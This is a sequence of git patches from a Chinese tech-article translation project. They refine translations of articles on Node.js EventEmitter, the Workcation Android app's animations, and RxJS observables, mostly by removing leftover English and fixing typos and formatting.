-标准的关于uncaughtException的建议是不要使用他，你一定要用的话，应该让进程在此结束：
+关于 uncaughtException 的建议是不要使用。你一定要用的话，应该让进程在此结束：
 
 ```js
 process.on('uncaughtException', (err) => {
@@ -436,13 +434,13 @@ process.on('uncaughtException', (err) => {
 });
 ```
 
-然而，想象在同一时间发生多个错误事件。这意味着上述的uncaughtException听众会多次触发，这可能对一些清理代码是一个问题。典型的一个例子是，当对数据库关闭操作进行多次调用时。
+然而，想象在同一时间发生多个错误事件。这意味着上述的 uncaughtException 监听器会多次触发，这可能对一些清理代码是一个问题。一个典型例子是, 多次调用数据库关闭操作。
 
-EventEmitter模块暴露一个once方法。这种方法只需要调用一次监听器，而不是每次发生。所以，这是一个实际使用的uncaughtException用例因为第一未捕获的异常我们就开始做清理工作，无论如何我们要知道退出的过程。
+EventEmitter模块暴露一个once方法。这个方法仅允许调用一次监听器, 而非每次触发都调用。所以，这是一个 uncaughtException 的实际用例,在第一次未捕获的异常发生时，我们开始做清理工作，并且知道我们最终会退出进程。
 
-#### Order of Listeners ####
+#### 监听器的顺序 ####
 
-如果我们在一个事件上注册多个队列，并且期望这些listener是有顺序的，会按顺序来调用
+如果我们在同一个事件上注册多个监听器，则监听器会按顺序触发，第一个注册的监听器就是第一个触发的。
 
 ```js
 // प्रथम
@@ -458,7 +456,7 @@ withTime.on('data', (data) => {
 withTime.execute(fs.readFile, __filename);
 ```
 
-上面代码的输出结果里，“Length”将会比“Characters”在前，因为我们就是这样定义他们的。
+上面代码的输出结果里，“Length”将会在“Characters”之前，因为我们是按照这个顺序定义的。
 
 如果你想定义一个Listener,还想插队到前面的话，要使用prependListener方法来注册
 
@@ -476,7 +474,7 @@ withTime.prependListener('data', (data) => {
 withTime.execute(fs.readFile, __filename);
 ```
 
-这时“Characters”会在“Length”之前。
+上面的代码使得 “Characters” 在 “Length” 之前。
 
 最后，想移除的话，用removeListener方法就好啦！
 

From 0fa79d22146e16b2d3456f2d1ef97e5994a07c2c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Fri, 2 Jun 2017 09:33:23 +0800
Subject: [PATCH 581/638] =?UTF-8?q?2017.6.2=20=E5=8E=BB=E6=8E=89=E9=81=97?=
 =?UTF-8?q?=E7=95=99=E7=9A=84=E8=8B=B1=E6=96=87?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-app-part-1-fragments-custom-transition.md | 22 ++++---------------
 1 file changed, 4 insertions(+), 18 deletions(-)

diff --git a/TODO/workcation-app-part-1-fragments-custom-transition.md b/TODO/workcation-app-part-1-fragments-custom-transition.md
index a6b9bccbbcf..8357014f020 100644
--- a/TODO/workcation-app-part-1-fragments-custom-transition.md
+++ b/TODO/workcation-app-part-1-fragments-custom-transition.md
@@ -116,8 +116,6 @@ XHTML
     </android.support.design.widget.CoordinatorLayout>
 ```
 
-As you can see in the snippet above, the *MapFragment* is placed under the rest of the layout. It will allow us to load the map invisible for the user.
-
 就像上面代码展示的那样，**MapFragment** 被放在布局的最下方，这样我们就可以在用户看不到地方加载地图。
 
 ```
@@ -184,28 +182,16 @@ public class MainActivity extends MvpActivity<MainView,MainPresenter> implements
 }
 ```
 
-MainActivity inherits from MvpActivity, which is a class from [Mosby Framework](https://github.com/sockeqwe/mosby) created by Hannes Dorfmann. The whole project follows MVP pattern, and the framework I mentioned before is a very nice implementation of it.
 
 MainActivity 继承自 MvpActivity，而 MvpActivity 是来自  Hannes Dorfmann 写的 [Mosby Framework](https://github.com/sockeqwe/mosby)。我的项目都遵从 MVP 模式，而这个框架是一个 MVP 模式的非常好的实现。
 
-In onCreate method we have three things:
-
 在 onCreate 方法里我们做了三件事：
 
-1. We are providing *LatLngBounds* for map – they will be used to set the bounds of the map
-
- 为地图提供了 **LatLngBounds**，他们会被用来设置地图的边界。
-
-2. We are replacing the *HomeFragment* in activities container layout
-
- 在 activity 的布局里加载了 **HomeFragment**
-
-3. We are setting the *OnMapReadyCallback* on the *MapFragment*
-
- 为 **Mapfragment** 设置了 **OnMapReadyCallback** 的回调。
+1. 为地图提供了 **LatLngBounds**，他们会被用来设置地图的边界。
 
+2. 在 activity 的布局里加载了 **HomeFragment**
 
-After map is ready, the *onMapReady()* method is called, and we can do some operations to save the properly loaded map into bitmap. We are moving camera to earlier provided *LatLngBounds* using *CameraUpdateFactory.newLatLngBounds()* method. In our case we know exactly what will be the dimension of the map in the next screen, so we are able to pass *width*(width of screen) and *height*(height of screen with bottom margin) parameters to this method. We are calculating them like this:
+3. 为 **Mapfragment** 设置了 **OnMapReadyCallback** 的回调。
 
 当地图加载完毕时，就会调用 **onMapReady()** 方法，我们就可以通过一些操作把当前加载的地图转换成 bitmap 图片。通过 **CameraUpdateFactory.newLatLngBounds()** 方法，我们可以把镜头转到之前提供的 **LatLngBounds**  上。这样的话我们就精确的知道下个页面的地图区域，再把屏幕宽度和高度当作参数传入 **onMapReady()** 方法，像这样操作:
 
@@ -490,7 +476,7 @@ public class ScaleDownImageTransition extends Transition{
 
 我们在转场动画中做了什么事情呢？我们用 **scaleFactor** 对传入的 imageView 进行了 scaleX 和 scaleY 属性的缩放（默认是8）。换句话说我们通过 **scaleFactor** 先把图片拉伸，然后再把图片压缩回需要的大小。
 
-### 创建自定义转场动画
+## 创建自定义转场动画
 
 In order to do the custom transition, we have to inherit from Transition class. The next step is to override the *captureStartValues* and *captureEndValues*. What is happening here?
 

From a05f3729df1053b6229f03ec962804f07edd8fae Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Fri, 2 Jun 2017 09:37:04 +0800
Subject: [PATCH 582/638] 2017.6.2 fixbug

---
 ...p-part-2-animating-markers-with-mapoverlaylayout.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
index 652d1aebe0a..cde42f0cfa0 100644
--- a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
+++ b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
@@ -4,7 +4,7 @@
 > * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)
 > * 校对者：[Vivienmm](https://github.com/Vivienmm)、[张拭心](https://github.com/shixinzhang)
 
-#  Workcation App – 第二部分 . 带有动画的标记（Animating Markers）与 MapOverlayLayout
+#  Workcation App – 第二部分 . Animating Markers 和 MapOverlayLayout #
 
 欢迎阅读本系列文章的第二篇，此系列文章和我前一段时间完成的“研究发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。
 
@@ -12,7 +12,7 @@ Part 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/mas
 
 Part 2: [带有动画的标记（Animating Markers） 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
 
-Part 3: [带有动画的标记（Animated Markers）与 RecyclerView 的互动](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
+Part 3: [带有动画的标记（Animated Markers） 与 RecyclerView 的互动](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
 
 Part 4: [场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
 
@@ -819,16 +819,16 @@ public class PulseMarkerView extends MarkerView{
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/load_markers_pulse.gif?x77083)
 
 
-**加载地图和滑动 RecycleView **
+**加载地图和滑动 RecycleView**
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/moving_map.gif?x77083)
 
 
-** 移动地图镜头时刷新标记 **
+**移动地图镜头时刷新标记**
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_map.gif?x77083)
 
-** 地图缩放 **
+**地图缩放**
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_pulsing.gif?x77083)
 

From 6d37566a41e588a19aa174ad5f408e71a5c42d3b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Fri, 2 Jun 2017 09:42:13 +0800
Subject: [PATCH 583/638] =?UTF-8?q?2017.6.2=20=E4=B8=BA=E4=BB=80=E4=B9=88?=
 =?UTF-8?q?=E5=8A=A0=E7=B2=97=E6=97=A0=E6=95=88=3F?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...kcation-app-part-2-animating-markers-with-mapoverlaylayout.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
index cde42f0cfa0..b793530765d 100644
--- a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
+++ b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
@@ -828,6 +828,7 @@ public class PulseMarkerView extends MarkerView{
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_map.gif?x77083)
 
+
 **地图缩放**
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_pulsing.gif?x77083)

From 646a57395b115f0881cac5bfd058e52f0de22d28 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Fri, 2 Jun 2017 09:44:09 +0800
Subject: [PATCH 584/638] =?UTF-8?q?2017.6.2=20=E8=B0=83=E6=95=B4=E6=A0=87?=
 =?UTF-8?q?=E9=A2=98?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...app-part-3-recyclerview-interaction-with-animated-markers.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md b/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md
index 7cddc5a666c..378ba0ca577 100644
--- a/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md
+++ b/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md
@@ -80,7 +80,7 @@ Java
 
 还是不管用 🙂。 **onScrolle** 方法不是每一个像素都被触发的。如果我们滑动 RecycleView 的速度太快，收到的回调就很少。那么应该怎么办呢？
 
-##　第三个想法
+## 第三个想法
 
 很简单。既然不能计算移动的触发点 —— 因为看起来它不会包含“偏移量”的参数，那就移动“范围”。当该范围覆盖比如说 70% 的 RecycleView 子布局时，触发标记的闪烁。不妨把它想想成一个从左至右移动的矩形。让我们看看实现吧：
 

From 7ba41986ba6681c780ac21c1b26d4fa9d8115ad1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Fri, 2 Jun 2017 09:46:47 +0800
Subject: [PATCH 585/638] =?UTF-8?q?=E4=BF=AE=E6=AD=A3=E9=94=AE=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-app-part-4-shared-element-transition-recyclerview-scenes.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md b/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
index b639004386b..ee2b228302c 100644
--- a/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
+++ b/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
@@ -753,7 +753,7 @@ class HideDetailsTransitionSet extends TransitionSet{
 
 就这么多了。非常感谢阅读这一系列的文章，希望你喜欢它！
 
-铁甲依然在！（译者：咳咳，原文是 see you sonn）
+铁甲依然在！（译者：咳咳，原文是 See you soon!）
 
 Mariusz Brona aka panwrona
 

From 06c5a1ee0018af9dbc0363c05038a96cb3ee7fce Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Fri, 2 Jun 2017 09:52:57 +0800
Subject: [PATCH 586/638] =?UTF-8?q?2017.6.2=20=E8=B0=83=E6=95=B4=E7=BB=93?=
 =?UTF-8?q?=E5=B0=BE=E5=A4=84=E7=BF=BB=E8=AF=91=E4=BD=BF=E8=AF=AD=E5=8F=A5?=
 =?UTF-8?q?=E6=9B=B4=E9=80=9A=E9=A1=BA?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-app-part-4-shared-element-transition-recyclerview-scenes.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md b/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
index ee2b228302c..219574c8e6b 100644
--- a/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
+++ b/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
@@ -749,7 +749,7 @@ class HideDetailsTransitionSet extends TransitionSet{
 
 ## 结语
 
-如我们所见 —— 思考永无止境（the sky’s the limit）！我们可以为 activities、fragments 甚至 layouts 创造有意义的转场动画。场景和转场动画十分流弊，增进了用户界面和 用户体验。这种解决方案有什么好处呢？首先，我们不需要在关注另一个生命周期。其次，有许多第三方的库帮我们创建不需要 fragment 的用户界面。通过部署场景和转场动画，我们可以开发出一个非常不错的 app。第三，该方案很少见，但是确实让我们能更多的控制效果的实现。
+如我们所见 —— 思考永无止境（the sky’s the limit）！我们可以为 activities、fragments 甚至 layouts 创造有意义的转场动画。场景和转场动画十分流弊，增进了用户界面和 用户体验。这种解决方案有什么好处呢？首先，我们不需要在关注另一个生命周期。其次，有许多第三方的库帮我们创建不需要 fragment 的用户界面。通过部署场景和转场动画，我们可以开发出一个非常不错的 app。第三，该方案很少见，但是确实让我们能更多的控制效果如何实现。
 
 就这么多了。非常感谢阅读这一系列的文章，希望你喜欢它！
 

From fad285adfaa0e525a2350eda1878bf27720fc02e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Fri, 2 Jun 2017 09:59:05 +0800
Subject: [PATCH 587/638] =?UTF-8?q?2017.6.2=20=E5=88=A0=E9=99=A4=E9=81=97?=
 =?UTF-8?q?=E7=95=99=E8=8B=B1=E6=96=87?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...kcation-app-part-1-fragments-custom-transition.md | 12 ++----------
 1 file changed, 2 insertions(+), 10 deletions(-)

diff --git a/TODO/workcation-app-part-1-fragments-custom-transition.md b/TODO/workcation-app-part-1-fragments-custom-transition.md
index 8357014f020..61478cd4ed8 100644
--- a/TODO/workcation-app-part-1-fragments-custom-transition.md
+++ b/TODO/workcation-app-part-1-fragments-custom-transition.md
@@ -476,25 +476,17 @@ public class ScaleDownImageTransition extends Transition{
 
 我们在转场动画中做了什么事情呢？我们用 **scaleFactor** 对传入的 imageView 进行了 scaleX 和 scaleY 属性的缩放（默认是8）。换句话说我们通过 **scaleFactor** 先把图片拉伸，然后再把图片压缩回需要的大小。
 
-## 创建自定义转场动画
-
-In order to do the custom transition, we have to inherit from Transition class. The next step is to override the *captureStartValues* and *captureEndValues*. What is happening here?
+### 创建自定义转场动画
 
 为了编写转场动画，我们必须继承一个 Transition 类。然后重写 **captureStartValues** 和 **captureEndValues** 方法。猜猜发生了啥？
 
-The Transition Framework is using the Property Animation API to animate between view’s start and end property value. If you are not familiar with this, you should definetely read [this article](https://developer.android.com/guide/topics/graphics/prop-animation.html).  As explained before, we want to scale down our image. So the startValue is our scaleFactor, and endValue is the desired scaleX and scaleY – normally it will be 1.
-
 Transition 框架使用了属性动画的 API ，通过改变 view 开始和结束时的属性值来产生动画。如果你不熟悉属性动画，强烈推荐阅读[这篇文章](https://developer.android.com/guide/topics/graphics/prop-animation.html)。就像刚才解释的那样，我们要缩放图片。开始值是 scaleFactor ,结束值是期望 scaleX 和 scaleY的值，通常情况下是1。
 
-How to pass those values? As said before – easy. We have TransitionValues object passed as argument in both *captureStart* and *captureEnd* methods. It contains a reference to the view and a map in which you can store the view values – in our case the scaleX and scaleY.
-
 怎么传递这些值呢？如前所述，很简单。我们把 TransitionValues 对象当作参数传进 **captureStart** 和 **captureEnd** 方法里。它包括一个 view 的引用和一个可以保存值的 Map 对象，在我们的项目中需要保存的值就是 scaleX 和 scaleY。
 
-With values captured, we need to override the *createAnimator()* method. In this method we are returning the *Animator* (or *AnimatorSet*) object which animates changes between view property values. So in our case we are returning the *AnimatorSet* which will animate the scale and alpha of the view. Also we want our transition to work only for ImageView, so we check if view reference from TransitionValues object passed as argument is ImageView instance.
-
 获得这些值以后，我们需要重写 **createAnimator()** 方法。在这个方法中需要返回一个动态改变 view 属性的 **Animator** （或者  **AnimatorSet** ）。本项目中返回的是 **AnimatorSet** 对象，此对象同时改变一个 view 的尺寸和亮度。同时，因为我们只希望转场动画作用在 ImageView 上，所以通过 instanceof 进行了对象类型校验，以保证传入的 view 是一个 ImageView。
 
-### 部署自定义转场动画 ###
+### 部署自定义转场动画
 
 我们已经在缓存中保存了 bitmap 图片，也已经创建了转场动画，所以只剩最后一步 —— 就是为 fragment 添加转场动画。我喜欢写一个静态工厂方法来创建 fragments 和 activities 。这么做可以让我们保持代码逻辑清晰，所以也应该用这样的设计模式来编写转场动画的代码。
 

From b98eb86c7444d316abf5eb6e318b43ecacb9cfc2 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Fri, 2 Jun 2017 13:32:46 +0800
Subject: [PATCH 588/638] Update rxjs-observables-observers-operators.md

---
 TODO/rxjs-observables-observers-operators.md | 222 ++++++-------------
 1 file changed, 69 insertions(+), 153 deletions(-)

diff --git a/TODO/rxjs-observables-observers-operators.md b/TODO/rxjs-observables-observers-operators.md
index ab0168a7fb6..52bb110c9b8 100644
--- a/TODO/rxjs-observables-observers-operators.md
+++ b/TODO/rxjs-observables-observers-operators.md
@@ -1,23 +1,23 @@
 > * 原文地址：[RxJS: Observables, observers and operators introduction](https://toddmotto.com/rxjs-observables-observers-operators)
 > * 原文作者：[Todd](https://toddmotto.com/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[lsvih](https://github.com/lsvih)
 > * 校对者：
 
-# RxJS: Observables, observers and operators introduction #
+# RxJS 简介：可观察对象、观察者与操作符 #
 
 
-RxJS is an incredible tool for reactive programming, and today we’re going to dive a little deeper into what Observables and observers are - as well as learn how to create our own operators.
+对于响应式编程来说，RxJS 是一个不可思议的工具。今天我们将深入探讨什么是 Observable（可观察对象）和 observer（观察者），然后了解如何创建自己的 operator（操作符）。
 
-If you’ve used RxJS before and want to understand some of the inner workings and internals to “how” Observables work, as well as the operators, then this post is for you.
+如果你之前用过 RxJS，想了解它的内部工作原理，以及 Observable、operator 是如何运作的，这篇文章将很适合你阅读。
 
-### [What is an Observable?](#what-is-an-observable) ###
+### 什么是 Observable（可观察对象）？ ###
 
-An Observable is just a function, with a few special characteristics. These are that it takes in an “observer” (an object with “next”, “error” and “complete” methods on it), and returns cancellation logic. In our examples we will use a simple “unsubscribe” function to handle this further on when we write our own. In RxJS it would be a Subscription object with an `unsubscribe` method on it.
+可观察对象其实就是一个比较特别的函数，它包含了一个“观察者”（observer）对象（在这个观察者对象中有 “next”、“error”、“complete”等方法），以及它会返回一种解除与观察者关系的逻辑。例如我们自己实现的时候会使用一个简单的 “unsubscribe” 函数来实现解除关系这个功能。而在 RxJS 中， 它是一个包含 `unsubsribe` 方法的订阅对象（Subscription）。
 
-An Observable sets up the observer (we’ll learn more about this) and connects it to the “thing” we want to get values from. This “thing” is called a producer, and is a source of values, perhaps from a `click` or `input` event in the DOM. It could even be something more complex such as communication over HTTP.
+可观察对象会创建观察者对象（稍后我们将详细介绍它），并将它和我们希望获取数据值的“东西”连接起来。这个“东西”就是生产者（producer），它可能来自于 `click` 或者 `input` 之类的 DOM 事件，是数据值的来源。当然，它也可以是一些更复杂的情况，比如通过 HTTP 与服务器交流的事件。
 
-To better understand Observables, we’re going to write our own! But first, let’s take a look at an example with a subscription:
+我们稍后将要自己写一个可观察对象，以便更好地理解它！在此之前，让我们先看看一个订阅对象的例子：
 
 ```
 const node = document.querySelector('input[type=text]');
@@ -25,31 +25,31 @@ const node = document.querySelector('input[type=text]');
 const input$ = Rx.Observable.fromEvent(node, 'input');
 
 input$.subscribe({
-  next: (event) => console.log(`You just typed ${event.target.value}!`),
+  next: (event) => console.log(`你刚刚输入了 ${event.target.value}!`),
   error: (err) => console.log(`Oops... ${err}`),
-  complete: () => console.log(`Complete!`)
+  complete: () => console.log(`完成!`)
 });
 ```
 
-This example takes an `<input type="text">` element and passes it into `Rx.Observable.fromEvent()`, which returns us an Observable of our input’s `Event` object when the event name we specified emits (which is why we’re using `${event.target.value}` in the console).
+这个例子使用了一个 `<input type="text">` 节点，并将其传入 `Rx.Observable.fromEvent()` 中。当我们触发指定的事件名时，它将会返回一个输入的 `Event` 的可观察对象。（因此我们在 console.log 中用  `${event.target.value}` 可以获取输入值）
 
-When the input’s event listener fires, the Observable passes the value to the *observer*.
+当输入事件被销毁的时候，可观察对象会将它的值传给观察者。
 
-### [What is an observer?](#what-is-an-observer) ###
+### 什么是 Observer（观察者）？ ###
 
-An observer is quite simple, in the above example the observer is the object literal we pass into our `.subscribe()` (subscribe will invoke our Observable).
+在前面的例子中，我们依次传入 `.subscribe()` 中的对象就是观察者（订阅对象将会调用我们的可观察对象）。
 
-> `.subscribe(next, error, complete)` is also valid syntax, but we’ll be exploring the object literal form in this post
+> `.subscribe(next, error, complete)` 也是一种合法的语法，但是我们现在研究的是对象依次传入的情况。
 
-When an Observable produces values, it then informs the *observer*, calling `.next()` when a new value was successfully captured and `.error()` when an error occurs.
+当一个可观察对象产生数据值的时候，它会通知观察者，当新的值被成功捕获的时候调用 `.next()`，没能成功捕获的时候调用 `.error()`。
 
-When we subscribe to an Observable, it will keep passing any values to an observer until one of two things happens. Either the producer says there are no more values to be sent, in which case it will call `.complete()` on our observer, or we (as the “consumers”) decide we are no longer interested in the values and we unsubscribe.
+当我们订阅一个可观察对象的时候，它会持续不断地将值传递给观察者，直到发生以下两件事：一种是生产者告知没有更多的值需要传递了，这种情况它会调用观察者的 `.complete()` ；一种是我们（“消费者”）对之后的值不再感兴趣，决定取消订阅（unsubsribe）。
 
-When we want to compose the values returned from an Observable, before they reach our final `.subscribe()` block, the value is passed (or can be passed) through a chain of Observables, which is typically done via “operators”. This chain is what we call an Observable sequence. Each operator returns a new Observable to continue our sequence - also known as a “stream”.
+如果我们想要对可观察对象传来的值进行组成构建（compose），那么在值传达最终的 `.subscribe()` 代码块之前，需要经过一连串的可观察对象（也就是操作符）处理。这个一连串的“链”也就是我们所说的可观察对象序列。链中的每个操作符都会返回一个新的可观察对象，让我们的序列能够持续进行下去——这也就是我们所熟知的“流”。
 
-### [What is an operator?](#what-is-an-operator)  ###
+### 什么是 Operator（操作符）？  ###
 
-As we’ve mentioned, Observables can be chained, which means we can do something like this:
+我们前面提到，可观察对象能够进行链式调用，也就是说我们可以像这样写代码：
 
 ```
 const input$ = Rx.Observable.fromEvent(node, 'input')
@@ -60,29 +60,29 @@ const input$ = Rx.Observable.fromEvent(node, 'input')
   });
 ```
 
-Here are the steps of this sequence:
+这段代码做了下面一系列事情：
 
-- Let’s assume the user types “a” into our input
-- The Observable then reacts to this event, passing the value to the *next* observer
-- The value “a” is passed to `.map()`, which is subscribing to our *initial* observable
-- `.map()` returns a new Observable of `event.target.value` and calls `.next()` on it’s observer
-- The `.next()` call will invoke `.filter()`, which is subscribing to `.map()`, with the *resulting* value of the `.map()` call
-- `.filter()` will then return another Observable with the filtered results, calling `.next()` with the value if the `.length` is 2 or above
-- We get the final value through our `.subscribe()` block
+- 我们先假定用户输入了一个“a”
+- 可观察对象将会对这个输入事件作出反应，将值传给下一个观察者
+- “a”被传给了订阅了我们最开始的可观察对象的 `.map()`
+- `.map()` 会返回一个 `event.target.value` 的新可观察对象，然后调用它观察者对象中的 `.next()`
+- `.next()` 将会调用订阅了 `.map()` 的 `.filter()`，并将 `.map()` 处理后的值传递给它
+- `.filter()` 将会返回另一个可观察对象，`.filter()` 过滤后留下 `.length` 大于等于 2 的值，并将其传给 `.next()`
+- 我们通过 `.subscribe()` 获得了最终的数据值
 
-Quite a lot happening, and if you’re a little unsure, remember:
+这短短的几行代码做了这么多的事！如果你还觉得弄不清，只需要记住：
 
-Each time a new Observable is returned, a new *observer* is hooked up to the previous Observable, thus allowing us to pass values along a “stream” of observers that simply do something you’ve asked and call `.next()` when it’s done, passing it to the next observer.
+每当返回一个新的可观察对象，都会有一个新的**观察者**挂载到前一个**可观察对象**上，这样，我们就可以通过观察者的“流”进行传值了。现在，你可以在前一个函数结束后调用 `.next()` 来将值传给下一个观察者了。
 
-In short, an operator typically returns a new Observable each time - allowing us to continue our stream. As users we don’t need to worry about all the Observables and observers which are created and used behind scenes, we only use one per chain - our subscription.
+简单来说，操作符将会不断地依次返回新的可观察对象，让我们的流能够持续进行。作为用户而言，我们不需要关心什么时候、什么情况下需要创建与使用可观察对象与观察者，我们只需要用我们的订阅对象进行链式调用就行了。
 
-### [Building our own Observable](#building-our-own-observable) ###
+### 创建我们自己的 Observable（可观察对象）###
 
-So, let’s get started and write our own Observable implementation. It won’t be as advanced as Rx’s implementation, but we’ll hopefully build the picture enough.
+现在，让我们开始写自己的可观察对象的实现吧。尽管它不会像 Rx 的实现那么高级，但我们还是对完善它充满信心。
 
-#### [Observable constructor](#observable-constructor)  ####
+#### Observable 构造器 ####
 
-First, we’ll create an Observable constructor function that takes a `subscribe` function as its only argument. We’ll store the subscribe property on the instance of Observable, so that we can call it later with an observer:
+首先，我们需要创建一个 Observable 构造函数，接受且仅接受 `subscribe` 函数作为其参数。我们将会把 subscribe 原型存储在 Observable 的实例中，稍后可以由观察者对象调用它：
 
 ```
 function Observable(subscribe) {
@@ -90,13 +90,13 @@ function Observable(subscribe) {
 }
 ```
 
-Each `subscribe` callback that we assign to `this.subscribe` will be invoked either by us or another Observable. This will make more sense as we continue.
+每个分配给 `this.subscribe` 的 `subscribe` 回调都将会被我们或者其它的可观察对象调用。这样我们下面做的事情就有意义了。
 
-#### [Observer example](#observer-example) ####
+#### Observer 示例####
 
-Before we dive into our real world example, let’s give a basic one.
+在深入探讨实际情况之前，我们先看一看基础的例子。
 
-As we’ve setup our Observable function, we can now invoke our observer, passing in `1` as a value and subscribe to it:
+现在我们已经配好了可观察对象函数，可以调用我们的观察者，将 `1` 这个值传给它并订阅它：
 
 ```
 const one$ = new Observable((observer) => {
@@ -109,11 +109,11 @@ one$.subscribe({
 });
 ```
 
-We subscribe to the Observable instance, and pass our observer (object literal) into the constructor (which is then assigned to `this.subscribe`).
+我们订阅了 Observable 实例，将我们的 observer（多个对象）传入构造器中（之后它会被分配给 `this.subscribe`）。
 
-#### [Observable.fromEvent](#observablefromevent) ####
+#### Observable.fromEvent ####
 
-That’s all we actually needed to create the basis of our Observable, the next piece we need is a `static` method on the Observable:
+现在我们已经完成了创建自己的 Observable 的基础步骤。下一步是为 Observable 添加 `static` 方法：
 
 ```
 Observable.fromEvent = (element, name) => {
@@ -121,7 +121,7 @@ Observable.fromEvent = (element, name) => {
 };
 ```
 
-We’re going to use our Observable just like in RxJS:
+我们与 RxJS 一样使用我们的 Observable：
 
 ```
 const node = document.querySelector('input');
@@ -129,7 +129,7 @@ const node = document.querySelector('input');
 const input$ = Observable.fromEvent(node, 'input');
 ```
 
-Which means we need to return a new Observable and pass a function in as the argument:
+这意味着我们需要返回一个新的 Observable，然后将函数作为参数传递给它：
 
 ```
 Observable.fromEvent = (element, name) => {
@@ -139,7 +139,7 @@ Observable.fromEvent = (element, name) => {
 };
 ```
 
-This then passes our function to our `this.subscribe` in the constructor. Next up, we need to hook our event in:
+这段代码将我们的函数传入了构造器中的 `this.subscribe`。接下来，我们需要将事件监听设置好：
 
 ```
 Observable.fromEvent = (element, name) => {
@@ -149,15 +149,15 @@ Observable.fromEvent = (element, name) => {
 };
 ```
 
-So, what’s this `observer` argument, and where does it come from?
+那么这个 `observer` 参数是什么呢？它又是从哪里来的呢？
 
-The `observer` is actually your object literal with `next`, `error` and `complete` on.
+这个 `observer` 其实就是依次传入了 `next`、`error`、`complete` 的对象。
 
-> Here is the interesting piece. The `observer` is never passed through *until*`.subscribe()` is invoked. This means the `addEventListener` is never “setup” by our Observable until it’s subscribed to.
+> 这块其实很有意思。`observer` 在调用 `.subscribe()` 之前都不会被传递，因此 `addEventListener` 在 Observable 被“订阅”之前都不会被执行。
 
